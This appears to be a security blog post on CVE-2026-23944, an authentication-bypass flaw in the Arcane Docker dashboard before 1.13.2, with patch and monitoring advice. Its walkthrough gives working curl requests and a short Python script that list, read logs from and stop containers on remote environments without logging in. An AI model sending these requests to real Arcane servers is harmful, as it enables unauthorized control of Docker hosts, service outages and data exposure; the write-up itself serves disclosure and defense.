Arcane is a user-friendly interface designed to manage Docker containers, images, networks, and volumes. It’s used by developers and administrators as an all-in-one dashboard to interact with local and remote Docker environments. But before version 1.13.2, Arcane hid a serious flaw—CVE-2026-23944—that allowed anyone on the network to perform Docker operations on remote environments without logging in.

This article gives you an exclusive, simplified breakdown of the vulnerability, the way it works, proof-of-concept code, and practical steps for defending your systems.

🚨 The Problem: Unchecked Remote Proxying

Arcane allows users to manage not just the local Docker environment, but also remote machines. Normally, requests for sensitive operations (like listing containers or streaming logs) are authenticated—only admins or authorized users can access them. However, Arcane’s environment proxy middleware made a crucial mistake: it handled requests to /api/environments/{id}/... for remote environments before enforcing authentication.

Simply put

> Anyone who knew (or guessed) the right URL could interact with all the Docker resources in remote environments, no login needed!

🔎 Exploit Walkthrough

Let’s demonstrate with code. Suppose an attacker guesses the ID of a remote environment (say, “2”) managed by Arcane at arcane.example.com.

Step 1: Find the Remote Environment ID

If there are few environments, you can brute-force /api/environments/{id}/containers—IDs are often sequential.

curl https://arcane.example.com/api/environments/2/containers

Response

A list of running containers on the remote agent—returned, even if you’re not logged in!

Step 2: Stream Logs or Perform Other Operations

Let’s stream logs from a container named web-service. Just pass the container ID as in the official API:

curl "https://arcane.example.com/api/environments/2/containers/<container_id>/logs?stdout=true&tail=100"

You could stop a container, start one, or even remove them

curl -X POST "https://arcane.example.com/api/environments/2/containers/<container_id>/stop"

All these requests are proxied by Arcane to the agent, using the agent’s token. The remote agent trusts the Arcane manager, so it happily does whatever you ask.

Here’s a quick Python script to list containers from Arcane without any login

import requests

ARCANE_URL = "https://arcane.example.com";
REMOTE_ENV_ID = "2"

resp = requests.get(f"{ARCANE_URL}/api/environments/{REMOTE_ENV_ID}/containers")
print(resp.text)

Replace REMOTE_ENV_ID with the real environment ID.

The vulnerable code flow looked roughly like this

// Pseudocode
if (request.url.startsWith("/api/environments/") && isRemoteEnv(request.envId)) {
    proxyRequestToAgent(request, agentToken)
}
// Only after proxying, authentication might happen (too late!)

So the check for “are you really allowed to do this?” happened after proxying unauthenticated requests. Any REST call to a remote environment was eligible.

Read data: E.g., dump logs, list images, inspect running infrastructure.

- Control containers: Stop/start/delete containers, affecting uptime.

🩹 Official Patch

Arcane version 1.13.2 patches this flaw by enforcing authentication before proxying any requests, local or remote.

References

- Advisory (GitHub)
- CVE Record
- Patch PR (Arcane GitHub)

Restrict Access: Prevent unauthorized networks from accessing your Arcane dashboard.

- Monitor Logs: Look for unrecognized requests to /api/environments/{id}/....

⚠️ Conclusion

If you’re running Arcane to manage Docker environments, update now. Unauthenticated proxying meant your remote Docker hosts were potentially wide open—this is a critical bug.

Arcane’s mistake was assuming trust between its own manager process and the agent, not realizing that unauthenticated users could sneak in requests before authentication checks. With containers often holding vital application data and services, such excessive trust is especially dangerous.

Stay patched, stay secure!

Share this article to protect other Docker-powered teams. For more details, follow the links—and keep your DevOps toolkit sharp.


*Original research by Assistant.*

Timeline

Published on: 01/19/2026 21:16:08 UTC
Last modified on: 02/02/2026 15:19:05 UTC